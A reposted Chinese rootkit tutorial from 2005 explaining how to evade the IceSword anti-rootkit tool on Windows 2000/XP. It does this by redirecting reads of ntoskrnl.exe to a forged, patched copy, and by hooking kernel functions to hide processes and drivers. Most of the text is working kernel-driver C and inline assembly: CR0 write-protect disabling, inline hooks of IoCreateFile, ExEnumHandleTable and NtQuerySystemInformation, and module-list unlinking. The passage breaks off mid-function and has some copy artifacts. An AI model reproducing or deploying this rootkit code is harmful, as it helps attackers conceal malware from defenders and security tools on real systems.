[轉貼]利用偽造內核文件來繞過IceSword的檢測
作者:倪茂誌
郵件:backspray008@gmail.com
完成於:2005.12.20
文章分為八個部分:
一、為什麼需要偽造內核
二、偽造內核文件
三、隱藏進程
四、隱藏內核模塊
五、隱藏服務
六、隱藏注冊表
七、隱藏文件
八、關於端口
另:建議先看看最後那些參考文章。
一、為什麼需要偽造內核:
IceSword(以下簡稱IS)為了防止一些關鍵係統函數(包括所有服務中斷表中的函數以及IS驅動部分要使用到的一些關鍵函數)被patch,它直接讀取內核文件(以下簡稱“ntoskrnl.exe”),然後自己分析ntoskrnl.exe的PE結構來獲取關鍵係統函數的原始代碼並且把當前內核中所有的關鍵係統函數還原為windows默認狀態,這樣保證了IS使用到的函數不被patch過。也許你會想如果我們把還原後的函數再進行patch不還是能躲的過去嗎?筆者也試過,還專門寫了ring0的Timer來不停的patch自己想hook的函數。結果IS棋高一籌,在對所有的關鍵係統函數進行還原以後,IS每次調用這些函數前都會先把這些函數還原一次。這樣還是能保證IS自己使用到的關鍵係統函數不被patch。也許你還會想縮小Timer的時間間隔,以致於IS對這些函數進行還原後,這些函數馬上又被我們patch,這樣IS再調用這些函數時不還是執行了我們patch過的函數。這種想法粗略看起來可以,但你仔細一想就知道是不行的。
治病還是得治本,也許你想過不如直接修改ntoskrnl.exe文件內容,使得IS一開始讀入的就已經是我們patch過得函數內容,這樣不就躲過去了。這種想法有兩個很大的副作用:
1、在通常的默認情況下,windows的係統文件保護是打開的,要停止這種係統文件保護要付出很大的代價,有可能需要重啟。
2、就算你停止了係統文件保護,也成功修改了ntoskrnl.exe,但是你不能保證係統每次都能正常關機
假如係統非法關機重啟,由於你還來未對ntoskrnl.exe進行還原,此時會發生什麼情況我也就不多說了。
而偽造內核文件就很好的避免了上麵談的兩大副作用。主要處理下麵三個點:
1、截獲並修改IS打開ntoskrnl.exe消息,使它指向我要偽造的內核文件(假設為“otoskrnl.exe”)
2、在內核文件中定位我們要修改的數據。
3、隱藏我們偽造的“otoskrnl.exe”,這點請看本文的第七部分。
二、偽造內核文件:
先說一下本文hook函數的方式:
1、取該函數起始地址的前六個字節內容保留在unsigned char resume[6]中。
2、把構造的兩條指令push xxxxxxxx(我們自己構造的函數地址) ret 保留到unsigned char crackcode[6](這兩條指令剛好六個字節)中。
3、把該函數起始址的6個字節替換成crackcode[6]的內容。這樣係統調用該函數時就會先跳到xxxxxxxx地址去執行我們構造的函數。
而我們構造的xxxxxxxx函數的主要結構如下:
1、把我們hook的那個函數起始的前6個字節用resume[6]內容進行還原。
2、對傳遞的程序參數進行處理等。
3、調用被還原後的函數。
4、此時可以處理函數返回後的數據等。
5、把還原後的那個函數的起始地址前6個字節再用crackcode[6]內容進行替換。
6、返回。
IS是通過IoCreateFile函數來打開ntoskrnl.exe,因此我們隻要hook這個函數,並檢查其打開的文件名,如果是打開ntoskrnl.exe的話,我們把文件名替換成otoskrnl.exe再扔回去就OK了。這樣所有針對於ntoskrnl.exe文件的操作都會指向otoskrnl.exe, 當然前提是你在進入驅動前記得先把ntoskrnl.exe在原目錄下複製一份並命名為otoskrnl.exe。
關於我們要修改的數據在ntoskrnl.exe中偏移的算法也很簡單,這裏給出公式如下:
函數在中文件偏移=當前函數在內存中的地址 - 當前函數所在驅動模塊的起始地址
舉個例子來說,假設IoCreateFile在內核中的內存地址是0x8056d1234,由於它是在內存中ntoskrnl.exe模塊中,假設ntoskrnl.exe起始地址是0x8045d000。那麼IoCreateFile在磁盤上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。
再進行詳細點說明:假設你對IoCreateFile函數進行了patch,使得該函數起始地址的6前六節的數據XXXXXX變成了YYYYYY。那麼你隻要打開otoskrnl.exe,把文件偏移調整到上麵所說的0x110123處,在寫入6個字節的數據YYYYYY。那麼當IS打開otoskrnl.exe的話,讀出的數據就是YYYYYY了!
下麵的代碼實現兩個功能,一個功能就是hook了IoCreateFile函數,使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一個功能就是進行偽造內核(函數RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset參數內容就是我們要hook的函數在內存中的地址。RepairDataPtr是指向字符crackcode[6]第一個字節的指針。主要功能就是先把要hook的函數地址在otoskrnl.exe文件中進行定位,然後再把crackcode[6]內容寫進去。
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
#include "string.h"
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
PCWSTRNTOSKRNL=L"ntoskrnl.exe"
unsigned char ResumCodeIoCreateFile[6];
unsigned char CrackCodeIoCreateFile[6];
typedef NTSTATUS ( *IOCREATEFILE )(
OUT PHANDLEFileHandle,
IN ACCESS_MASKDesiredAccess,
IN POBJECT_ATTRIBUTESObjectAttributes,
OUT PIO_STATUS_BLOCKIoStatusBlock,
IN PLARGE_INTEGERAllocationSize OPTIONAL,
IN ULONGFileAttributes,
IN ULONGShareAccess,
IN ULONGDisposition,
IN ULONGCreateOptions,
IN PVOIDEaBuffer OPTIONAL,
IN ULONGEaLength,
IN CREATE_FILE_TYPECreateFileType,
IN PVOIDExtraCreateParameters OPTIONAL,
IN ULONGOptions );
IOCREATEFILEOldIoCreateFile;
DWORD GetFunctionAddr( IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)
{
NTSTATUS Status;
HANDLE FileHandle;
OBJECT_ATTRIBUTES FObject;
IO_STATUS_BLOCK IOSB;
UNICODE_STRINGFileName;
LARGE_INTEGER NtosFileOffset;
RtlInitUnicodeString (
&FileName,
L"//SystemRoot//system32//otoskrnl.exe" );
InitializeObjectAttributes (
&FObject,
&FileName,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
Status = ZwCreateFile(
&FileHandle,
FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,
&FObject,
&IOSB,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE,
NULL,
0
);
if ( Status != STATUS_SUCCESS )
{
return Status;
}
//下麵計算出函數在otoskrnl.exe中的偏移,NtoskrnlBase就是
//Ntoskrnl.exe在內存中的起始地址,在第四部分隱藏內核模塊
//時會提到它的獲取方法。
NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase;
Status = ZwWriteFile(
FileHandle,
NULL,
NULL,
NULL,
&IOSB,
(unsigned char *)RepairDataPtr,
0x6,
&NtosFileOffset,
NULL);
if ( Status != STATUS_SUCCESS )
{
return Status;
}
Status = ZwClose( FileHandle );
if ( Status != STATUS_SUCCESS )
{
return Status;
}
return STATUS_SUCCESS;
}
NTSTATUS NewIoCreateFile (
OUT PHANDLEFileHandle,
IN ACCESS_MASKDesiredAccess,
IN POBJECT_ATTRIBUTESObjectAttributes,
OUT PIO_STATUS_BLOCKIoStatusBlock,
IN PLARGE_INTEGERAllocationSize OPTIONAL,
IN ULONGFileAttributes,
IN ULONGShareAccess,
IN ULONGDisposition,
IN ULONGCreateOptions,
IN PVOIDEaBuffer OPTIONAL,
IN ULONGEaLength,
IN CREATE_FILE_TYPECreateFileType,
IN PVOIDExtraCreateParameters OPTIONAL,
IN ULONGOptions )
{
NTSTATUS Status;
PCWSTR IsNtoskrnl = NULL;
PCWSTR FileNameaddr=NULL;
_asm//對IoCreateFile函數進行還原
{
pushad
mov edi, OldIoCreateFile
mov eax, dword ptr ResumCodeIoCreateFile[0]
mov [edi], eax
mov ax, word ptr ResumCodeIoCreateFile[4]
mov [edi+4], ax
popad
}
_asm//獲取要打開的文件名地址
{
pushad
mov edi, ObjectAttributes
mov eax, [edi+8]
mov edi, [eax+4]
mov FileNameaddr, edi
popad
}
IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判斷是否時打開ntoskrnl.exe
if ( IsNtoskrnl != NULL )
{
_asm//是的話,則把ntoskrnl.exe替換成otoskrnl.exe
{
pushad
mov edi, IsNtoskrnl
mov [edi], 0x006F
popad
}
}
Status = OldIoCreateFile (
FileHandle,
DesiredAccess,
ObjectAttributes,
IoStatusBlock,
AllocationSize OPTIONAL,
FileAttributes,
ShareAccess,
Disposition,
CreateOptions,
EaBuffer OPTIONAL,
EaLength,
CreateFileType,
ExtraCreateParameters OPTIONAL,
Options );
_asm //把還原後的代碼又替換成我們偽造的代碼
{
pushad
mov edi, OldIoCreateFile
mov eax, dword ptr CrackCodeIoCreateFile[0]
mov [edi], eax
mov ax, word ptr CrackCodeIoCreateFile[4]
mov [edi+4], ax
popad
}
return Status;
}
NTSTATUS PatchIoCreateFile()
{
NTSTATUS Status;
OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");
if ( OldIoCreateFile == NULL )
{
DbgPrint("Get IoCreateFile Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm//關中斷
{
CLI
MOVEAX, CR0
AND EAX, NOT 10000H
MOVCR0, EAX
}
_asm
{
pushad
//獲取 IoCreateFile 函數的地址並保留該函數的起始六個字節
mov edi, OldIoCreateFile
mov eax, [edi]
mov dword ptr ResumCodeIoCreateFile[0], eax
mov ax, [edi+4]
mov wordptr ResumCodeIoCreateFile[4], ax
//構造要替換的代碼,使得係統調用函數時跳到我們構造的NewIoCreateFile去執行
mov byte ptr CrackCodeIoCreateFile[0], 0x68
lea edi, NewIoCreateFile
mov dword ptr CrackCodeIoCreateFile[1], edi
mov byte ptr CrackCodeIoCreateFile[5], 0xC3
//把構造好的代碼進心替換
mov edi, OldIoCreateFile
mov eax, dword ptr CrackCodeIoCreateFile[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeIoCreateFile[4]
mov word ptr[edi+4], ax
popad
}
_asm //開中斷
{
MOVEAX, CR0
OREAX, 10000H
MOVCR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldIoCreateFile,
(DWORD)(&CrackCodeIoCreateFile));
return Status;
}
上麵給出的代碼中,有些是公共使用的部分,如:GetFunctionAddr()(用來獲取函數地址)以及RepairNtosFile()(功能上文已經介紹)函數。為節省版麵,在下麵的代碼中將直接對其進行引用,而不再貼出它們的代碼。下麵的代碼將不會再include頭文件。而是直接定義自己所使用到的變量。其中include的投文件與上麵的代碼相同,另外本文中所有的例子都沒有給出Unloaded例程(浪費版麵),自己看著寫了另外,本文貼出的所有代碼,除了第六部分代碼隻在XP下測試通過,其他代碼均再2K及XP下測試並通過。筆者在寫這些代碼時雖然兼顧到了2K3,但是筆者並沒有在2K3中測試過這些代碼。這些代碼中夾雜了一些匯編指令。這些匯編指令產生主要有兩種原因:一是當時的我認為某些東西用匯編指令來表示非常直觀,如還原與替換函數代碼那個部分。二是在分析一些數據時,由於眼前麵對的是純16進製的數據,於是也沒多想哢哢就用匯編寫了一個循環下來。如果給你閱讀代碼造成了不便,筆者在這表示歉意。
三、隱藏進程
對付IS枚舉進程ID的思路是這樣的,hook係統函數ExEnumHandleTable,使它先運行我們指定的函數NewExEnumHandleTable,在NewExEnumHandleTable函數中,我們先獲取它的回調函數參數Callback所指向的函數地址,把它所指向的函數地址先放到OldCallback中,然後用我們構造的新的回調函數FilterCallback去替換掉原來的Callback。這樣該函數在執行回調函數時就會先調用我們給它的FilterCallback回調函數。在我們設計的FilterCallback中,判斷當前進程ID是否時我們要隱藏的進程ID,不是的話則把參數傳給OldCallback去執行,如果是的話則直接return。這樣就起到隱藏進程的作用。
以上是對付IS的,對於應付windows進程管理的方法,與sinister使用的方法大體相同,不過有些不同。sinister是通過比較進程名來確定自己要隱藏的進程。這種方法對於隱藏要啟動兩個和兩個以上相同名字的進程比較可取,但問題是如果你隻是要隱藏一個進程的話。那麼這個方法就顯得不完美了。完全可以通過直接比較進程ID來確定自己要隱藏的進程。建議不到不得以的時候盡量不要使用比較文件名的方法,太影響效率。
下麵的代碼中,GetProcessID()函數是用來從注冊表中讀取要隱藏的進程ID,當然首先你要在注冊表設置這個值。用注冊表還是很方便的。
PatchExEnumHandleTable()函數是通過hook係統函數ExEnumHandleTable函數實現在IS中隱藏目標進程,PatchNtQuerySystemInformation ()函數是通過hook係統函數NtQuerySystemInformation並通過比較進程ID的方法實現隱藏進程。
HANDLE ProtectID;
unsigned char ResumCodeExEnumHandleTable[6];
unsigned char CrackCodeExEnumHandleTable[6];
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
IN ULONGSystemInformationClass,
OUT PVOIDSystemInformation,
IN ULONGSystemInformationLength,
OUT PULONGReturnLength OPTIONAL);
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
typedef VOID (*EXENUMHANDLETABLE)
(
PULONGHandleTable,
PVOIDCallback,
PVOIDParam,
PHANDLEHandleOPTIONAL
);
EXENUMHANDLETABLEOldExEnumHandleTable;
typedef BOOL (*EXENUMHANDLETABLECALLBACK)
(
DWORD HANDLE_TALBE_ENTRY,
DWORDPID,
PVOIDParam
);
EXENUMHANDLETABLECALLBACKOldCallback;
NTSTATUS GetProcessID (
IN PUNICODE_STRING theRegistryPath
)
{
OBJECT_ATTRIBUTES ObjectAttributes;
NTSTATUS Status;
HANDLE KeyHandle;
PHANDLE Phandle;
PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;
ULONG valueInfoLength,returnLength;
UNICODE_STRING UnicodeProcIDreg;
InitializeObjectAttributes (
&ObjectAttributes,
theRegistryPath,
OBJ_CASE_INSENSITIVE,
NULL,
NULL );
Status = ZwOpenKey (
&KeyHandle,
KEY_ALL_ACCESS,
&ObjectAttributes );
if (Status != STATUS_SUCCESS)
{
DbgPrint("ZwOpenKey Wrong/n");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
RtlInitUnicodeString (
&UnicodeProcIDreg,
L"ProcessID" );
valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);
valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (
NonPagedPool,
valueInfoLength );
Status = ZwQueryValueKey (
KeyHandle,
&UnicodeProcIDreg,
KeyValuePartialInformation,
valueInfoP,
valueInfoLength,
&returnLength );
if (Status != STATUS_SUCCESS)
{
DbgPrint("ZwOpenKey Wrong/n");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
Phandle = (PHANDLE)(valueInfoP->Data);
ProtectID = *Phandle;
ZwClose(KeyHandle);
return STATUS_SUCCESS;
}
BOOL FilterCallback (
DWORD HANDLE_TALBE_ENTRY,
DWORDPID,
PVOIDParam )
{
if ( PID != (DWORD)ProtectID)//判斷是否是我們要隱藏的進程
{
return OldCallback (
HANDLE_TALBE_ENTRY,
PID,
Param );
}
else
{
return FALSE; //是的話直接返回
}
}
BOOL FilterCallback (
DWORD HANDLE_TALBE_ENTRY,
DWORDPID,
PVOIDParam )
{
if ( PID != (DWORD)ProtectID)//判斷是否是我們要隱藏的進程
{
return OldCallback (
HANDLE_TALBE_ENTRY,
PID,
Param );
}
else
{
return FALSE; //是的話直接返回
}
}
VOID NewExEnumHandleTable(
PULONGHandleTable,
PVOIDCallback,
PVOIDParam,
PHANDLEHandleOPTIONAL )
{
OldCallback = Callback; //把Callback參數給OldCallback進行保留
Callback = FilterCallback; //用FilterCallback替換調原來的Callback
_asm//還原
{
pushad
mov edi, OldExEnumHandleTable
mov eax, dword ptr ResumCodeExEnumHandleTable[0]
mov [edi], eax
mov ax, word ptr ResumCodeExEnumHandleTable[4]
mov [edi+4], ax
popad
}
OldExEnumHandleTable (
HandleTable,
Callback,
Param,
HandleOPTIONAL );
_asm //替換
{
pushad
mov edi, OldExEnumHandleTable
mov eax, dword ptr CrackCodeExEnumHandleTable[0]
mov [edi], eax
mov ax, word ptr CrackCodeExEnumHandleTable[4]
mov [edi+4], ax
popad
}
return ;
}
NTSTATUS PatchExEnumHandleTable()
{
NTSTATUS Status;
OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");
if ( OldExEnumHandleTable == NULL )
{
DbgPrint("Get ExEnumHandleTable Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm//關中斷
{
CLI
MOVEAX, CR0
AND EAX, NOT 10000H
MOVCR0, EAX
}
_asm
{
pushad
//獲取ExEnumHandleTable函數的地址並保留該函數的起始六個字節
mov edi, OldExEnumHandleTable
mov eax, [edi]
mov dword ptr ResumCodeExEnumHandleTable[0], eax
mov ax, [edi+4]
mov wordptr ResumCodeExEnumHandleTable[4], ax
//構造要替換的代碼,使得係統調用該函數時跳到我們構造的NewExEnumHandleTable去執行
mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
lea edi, NewExEnumHandleTable
mov dword ptr CrackCodeExEnumHandleTable[1], edi
mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3
//把構造好的代碼進心替換
mov edi, OldExEnumHandleTable
&, nbsp; mov eax, dword ptr CrackCodeExEnumHandleTable[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeExEnumHandleTable[4]
mov word ptr[edi+4], ax
popad
}
_asm //開中斷
{
MOVEAX, CR0
OREAX, 10000H
MOVCR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldExEnumHandleTable,
(DWORD)(&CrackCodeExEnumHandleTable) );
return Status;
}
NTSTATUS NewNtQuerySystemInformation(
IN ULONGSystemInformationClass,
OUT PVOIDSystemInformation,
IN ULONGSystemInformationLength,
OUT PULONGReturnLength OPTIONAL )
{
NTSTATUS Status;
DWORD Bprocess;
_asm
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
Status=OldNtQuerySystemInformation (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL );
_asm
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 )
{
return Status;
}
_asm
{
pushad
mov ecx, ProtectID
mov edi, SystemInformation
ProcessListNEnd:
mov Bprocess, edi
mov eax, [edi]
test eax, eax
jz ProcessListEnd
add edi, eax
mov eax, [edi+0x44]
cmp eax, ecx
jz FindOut
jmp ProcessListNEnd
FindOut:
mov ebx, [edi]
test ebx, ebx
jz listend
mov eax, Bprocess
mov edx, [eax]
add ebx, edx
mov [eax], ebx
jmp hideOK
listend:
mov eax,Bprocess
mov [eax],0
hideOK:
ProcessListEnd:
popad
}
return Status;
}
NTSTATUS PatchNtQuerySystemInformation ()
{
NTSTATUS Status;
OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");
if ( OldNtQuerySystemInformation == NULL )
{
DbgPrint("Get NtQuerySystemInformation Addr Error!!");
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm//關中斷
{
CLI
MOVEAX, CR0
AND EAX, NOT 10000H
MOVCR0, EAX
}
_asm
{
pushad
//獲取 NtQuerySystemInformation 函數的地址並保留該函數的起始六個字節
mov edi, OldNtQuerySystemInformation
mov eax, [edi]
mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
mov ax, [edi+4]
mov wordptr ResumCodeNtQuerySystemInformation[4], ax
//構造要替換的代碼,使得係統調用該函數時跳到我們構造的NewNtQuerySystemInformation去執行
mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
lea edi, NewNtQuerySystemInformation
mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
//把構造好的代碼進心替換
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov word ptr[edi+4], ax
popad
}
_asm //開中斷
{
MOVEAX, CR0
OREAX, 10000H
MOVCR0, EAX
STI
}
Status = RepairNtosFile(
(DWORD)OldNtQuerySystemInformation,
(DWORD)(&CrackCodeNtQuerySystemInformation) );
return Status;
}
四、隱藏內核模塊
對於內核模塊,我原以為IS會通過獲取內核變量PsLoadedModuleList,然後在通過這個來遍曆所有的內核模塊。假設此時獲得結果1。通過調用函數NtQuerySystemInformation,參數SystemModuleInformation,假設此時獲得結果2。再把結果1與結果2進行比較,這樣就會發現被隱藏的模塊。但事實證明我想的太複雜了。而IS隻進行了獲取結果2的過程。而沒有去執行獲取結果1的過程。
下麵的代碼可以在IS下隱藏自己的內核模塊,主要思路是,首先獲取一個自己這個模塊中任意函數的地址,把該地址給DriverAddr,利用DriverAddr在上述的結果2中定位,通過DriverAddr肯定會大於自己這個模塊的起始地址並且小於自己這個模塊的結束地址來定位。
DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
IN ULONGSystemInformationClass,
OUT PVOIDSystemInformation,
IN ULONGSystemInformationLength,
OUT PULONGReturnLength OPTIONAL);
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
NTSTATUS NewNtQuerySystemInformation(
IN ULONGSystemInformationClass,
OUT PVOIDSystemInformation,
IN ULONGSystemInformationLength,
OUT PULONGReturnLength OPTIONAL )
{
NTSTATUS Status;
_asm//還原
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
Status = ZwQuerySystemInformation (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL );
_asm //替換
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )//是否是獲取模塊信息
{
return Status;
}
_asm
{
pushad
mov edi, SystemInformation
mov ecx, [edi]//eax=模塊數目
add edi, 0x4
NextModuleInfo:
mov eax, [edi+0x8]
mov edx, [edi+0xC]
add edx, eax
mov ebx, DriverAddr
cmp ebx, eax
jaFirstMatch
dec ecx
test ecx, ecx
jzArrayEnd
add edi, 0x11c
jmp NextModuleInfo
FirstMatch:
cmp ebx, edx
jb SecMatch//找到的話則跳去把該模塊以後的模塊數據前移已覆蓋掉此模塊
dec ecx
test ecx, ecx
jzArrayEnd
add edi, 0x11c
jmp NextModuleInfo
SecMatch:
dec ecx
xor eax, eax
mov ax, 0x11c
mul cx
xor ecx, ecx
mov ecx, eax
mov esi, edi
add esi, 0x11c
rep movsb
mov edi, SystemInformation
mov eax, [edi]
dec eax
mov [edi], eax//完成
ArrayEnd:
popad
}
return Status;
}
NTSTATUS PatchNtQuerySystemInformation()
{
NTSTATUS Status;
OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );
if ( OldNtQuerySystemInformation == NULL )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm//關中斷
{
CLI
MOVEAX, CR0
AND EAX, NOT 10000H
MOVCR0, EAX
}
_asm
{
pushad
//獲取 NtQuerySystemInformation 函數的地址並保留該函數的起始六個字節
lea eax, NewNtQuerySystemInformation
mov DriverAddr, eax //把NewNtQuerySystemInformation函數地址給DriverAddr
mov edi, OldNtQuerySystemInformation
mov eax, [edi]
mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
mov ax, [edi+4]
mov wordptr ResumCodeNtQuerySystemInformation[4], ax
//構造要替換的代碼,使得係統調用該函數時跳到我們構造的NewNtQuerySystemInformation去執行
mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
lea edi, NewNtQuerySystemInformation
mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
//把構造好的代碼進行替換
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov word ptr[edi+4], ax
popad
}
_asm //開中斷
{
MOVEAX, CR0
OREAX, 10000H
MOVCR0, EAX
STI
}
Status = RepairNtosFile (
(DWORD)OldNtQuerySystemInformation,
(DWORD)&CrackCodeNtQuerySystemInformation[0] );
return Status;
}
你可能發現上麵這段代碼hook的也是NtQuerySystemInformation函數,而在隱藏進程中不是已經hook了NtQuerySystemInformation函數,這樣不是造成重合了。在實際操作中,你隻要hook一次NtQuerySystemInformation函數,然後在自己定義NewNtQuerySystemInformation中增加幾個選擇項就是了。我這樣寫是為了便於理解,使它們每個部分自成一體,如果按實際代碼搬出來的話,顯得太支離破碎(支離破碎的支到底是這個“支”還是這個“肢”??)了。
不知道pjf看到這裏之後會不會想著給IS升級,增加IS檢測隱藏內核模塊的功能,因此下麵一並給出了如何在PsLoadedModuleList鏈表刪除自身的代碼,關於如何獲取PsLoadedModuleList這個內核變量的地址我就不說了,不了解的請參看TK的《獲取Windows 係統的內核變量》。PsLoadedModuleList所指向的是結構是_MODULE_ENTRY,微軟沒有給出定義,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的資源中給出了MODULE_ENTRY的結構定義如下:
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORDunknown[4];
DWORDbase;
DWORDdriver_start;
DWORDunk1;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
進一步分析後發現上述結構中的unk1成員的值其實就是該模塊文件的大小.從新對該結構定義如下:
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORDunknown[4];
DWORDbase;
DWORDdriver_start;
DWORDSize;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
PsLoadedModuleList指向的是一個帶表頭的雙向鏈表,該鏈表的表頭所指向的第一個MODULE_ENTRY的就是ntoskrnl.exe,此時它的base成員的值就是ntoskrnl.exe在內存中的起始地址.這是就可以順手取一下NtoskrnlBase的值。
有一點要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。係統不會把你加入到PsLoadedModuleList鏈表中,此時你在PsLoadedModuleList中是找不到自己的。當然為了這個而寫一個分發例程也行。我是在自己hook的那些係統函數中設了一個閥值,閥值初始值為“開”,這樣係統調用這個函數時都會先檢測閥值是否是“開”,是的話跑到PsLoadedModuleList找一下我們的模塊是否存在,存在的話說明DriverEntry()已經返回成功,馬上把自己從PsLoadedModuleList鏈表中刪除,然後把閥值設成“關”,這樣係統下次調用這個函數時發現閥值是“關”的就不會傻乎乎的又跑到PsLoadedModuleList中去摟一遍了。
DWORD NtoskrnlBase=0;
DWORD PsLoadedModuleListPtr=0;
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORDunknown[4];
DWORDbase;
DWORDdriver_start;
DWORDSize;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
NTSTATUS GetPsLoadedModuleListPtr()
{
UNICODE_STRINGUStrName;
DWORD KdEnableDebuggerAddr;
DWORD InitSystem=0;
DWORD KdDebuggerDataBlock=0;
PMODULE_ENTRY NtosModPtr;
unsigned char * DebuggerDataBlockPtr;
unsigned char * Sysinit;
int i,j;
RtlInitUnicodeString (
&UStrName,
L"KdEnableDebugger" );
KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );
if ( !KdEnableDebuggerAddr )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
{
if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
{
_asm
{
pushad
mov edi, Sysinit
mov eax, [edi+0x8]
add edi, 0xC
add edi, eax
mov InitSystem, edi
popad
}
}
if ( InitSystem != 0) break;
}
if ( InitSystem == 0 )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
{
if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
{
DebuggerDataBlockPtr--;
DebuggerDataBlockPtr--;
for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
{
if ( *DebuggerDataBlockPtr == 0x68 )
{
_asm
{
pushad
mov edi, DebuggerDataBlockPtr
inc edi
mov eax, [edi]
mov KdDebuggerDataBlock, eax
popad
}
break;
}
}
}
if ( KdDebuggerDataBlock != 0 )
{
break;
}
}
if ( KdDebuggerDataBlock == 0 )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm
{
pushad
mov edi, KdDebuggerDataBlock
mov eax, [edi+0x48]
mov PsLoadedModuleListPtr, eax
popad
}
if ( PsLoadedModuleListPtr == 0 )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
//獲取 Ntoskrnl 的起始地址
